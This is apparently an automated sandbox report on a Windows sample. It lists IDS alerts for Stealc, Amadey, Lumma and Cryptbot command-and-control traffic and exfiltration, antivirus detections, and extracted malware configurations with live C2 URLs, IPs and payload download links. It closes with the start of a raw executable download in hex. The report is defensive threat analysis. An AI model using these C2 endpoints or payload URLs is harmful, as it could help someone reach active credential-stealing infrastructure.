2024-11-17T22:20:20.132995+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T22:20:21.234653+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T22:20:20.139645+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49704	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T22:21:58.725050+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	61072	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T22:20:19.566967+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49704	185.215.113.206	80	TCP
2024-11-17T22:22:05.937647+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	61077	185.215.113.206	80	TCP
2024-11-17T22:22:21.676266+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	61090	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T22:21:16.712861+0100	2856147	1	A Network Trojan was detected	192.168.2.7	61053	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T22:21:29.275823+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	61055	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T22:21:20.043028+0100	2803305	3	Unknown Traffic	192.168.2.7	61056	31.41.244.11	80	TCP
2024-11-17T22:21:31.126492+0100	2803305	3	Unknown Traffic	192.168.2.7	61060	185.215.113.16	80	TCP
2024-11-17T22:21:54.685306+0100	2803305	3	Unknown Traffic	192.168.2.7	61070	185.215.113.16	80	TCP
2024-11-17T22:22:03.701881+0100	2803305	3	Unknown Traffic	192.168.2.7	61075	185.215.113.16	80	TCP
2024-11-17T22:22:12.646766+0100	2803305	3	Unknown Traffic	192.168.2.7	61085	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T22:20:21.888503+0100	2803304	3	Unknown Traffic	192.168.2.7	49704	185.215.113.206	80	TCP
2024-11-17T22:20:46.514058+0100	2803304	3	Unknown Traffic	192.168.2.7	60797	185.215.113.206	80	TCP
2024-11-17T22:20:49.913483+0100	2803304	3	Unknown Traffic	192.168.2.7	60797	185.215.113.206	80	TCP
2024-11-17T22:20:51.815115+0100	2803304	3	Unknown Traffic	192.168.2.7	60797	185.215.113.206	80	TCP
2024-11-17T22:20:52.840703+0100	2803304	3	Unknown Traffic	192.168.2.7	60797	185.215.113.206	80	TCP
2024-11-17T22:20:54.970451+0100	2803304	3	Unknown Traffic	192.168.2.7	60797	185.215.113.206	80	TCP
2024-11-17T22:20:55.532161+0100	2803304	3	Unknown Traffic	192.168.2.7	60797	185.215.113.206	80	TCP
2024-11-17T22:21:00.371157+0100	2803304	3	Unknown Traffic	192.168.2.7	60970	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T22:22:16.666328+0100	2843864	1	A Network Trojan was detected	192.168.2.7	61087	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.phpEB	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/-MargSj95	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/Xj	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpKw8Mdp	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php1wf	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpaB8c	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exerlencodedy	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/luma/random.exe61395:	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.php996001	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php0	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/15.113.43/ta	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllr	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpngPreference.Verb	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll.	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/random.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.phpZp	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/N	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe61395d7	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 00000014.00000002.1871064932.0000000000A31000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 5b96a79886.exe.6244.29.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}
Source: bef6a59ce6.exe.6816.30.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["peepburry828.sbs", "processhol.sbs", "3xp3cts1aim.sbs", "p10tgrace.sbs", "p3ar11fter.sbs"], "Build id": "LOGS11--LiveTraffic"}
Source: 5454ad7c1c.exe.8068.25.memstrmin	Malware Configuration Extractor: Cryptbot {"C2 list": ["QUERY\|rd\|AAAA\|IN\|home.fvtejj5vs.top", "0/80/home.fvtejj5vs.top", "fvtejj5vs.top", ".1.1home.fvtejj5vs.top", "home.fvtejj5vs.top", "QUERY\|rd\|A\|IN\|home.fvtejj5vs.top"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[2].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D00A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6D00A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0525B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6D0525B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFD4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CFD4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D004440 PK11_PrivDecrypt,	0_2_6D004440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0044C0 PK11_PubEncrypt,	0_2_6D0044C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFEE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CFEE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D02A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6D02A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFE8670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CFE8670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D00A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6D00A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D030180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6D030180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0043B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6D0043B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D02BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6D02BD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D027C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6D027C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFE7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6CFE7D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D003FF0 PK11_PrivDecryptPKCS1,	0_2_6D003FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D029EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6D029EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D009840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6D009840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D003850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6D003850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D02DA40 SEC_PKCS7ContentIsEncrypted,	0_2_6D02DA40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D003560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6D003560

Source: 5454ad7c1c.exe, 00000019.00000002.2576051777.0000000000D2A000.00000040.00000001.01000000.0000000F.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_9e94249a-2

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.72:443 -> 192.168.2.7:60803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.72:443 -> 192.168.2.7:60829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:61054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61068 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61082 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:61103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:61104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:61107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:61113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:61114 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:55101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:55102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:55113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:55115 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:55116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.91:443 -> 192.168.2.7:55117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:55118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:55123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:55122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:55121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:55124 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1885742746.000000007013D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 4ff2bfa33f.exe, 0000002A.00000002.2575103553.0000000000EB2000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1885742746.000000007013D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 8MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.7:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.7:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:61053 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:61055
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:61059 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:61069 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:61074 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:61077 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:61083 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:61088 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:61090 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.7:55114 -> 62.76.234.151:80
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:61072 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:61084 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:61084 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.7:61087 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:61068 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:61068 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:61071 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:61071 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:55113 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:55113 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:61081 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:61081 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43
Source: Malware configuration extractor	URLs: QUERY\|rd\|AAAA\|IN\|home.fvtejj5vs.top
Source: Malware configuration extractor	URLs: 0/80/home.fvtejj5vs.top
Source: Malware configuration extractor	URLs: fvtejj5vs.top
Source: Malware configuration extractor	URLs: .1.1home.fvtejj5vs.top
Source: Malware configuration extractor	URLs: home.fvtejj5vs.top
Source: Malware configuration extractor	URLs: QUERY\|rd\|A\|IN\|home.fvtejj5vs.top

Source: unknown

Network traffic detected: DNS query count 45

Source: global traffic	TCP traffic: 192.168.2.7:55096 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.7:60784 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 21:20:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 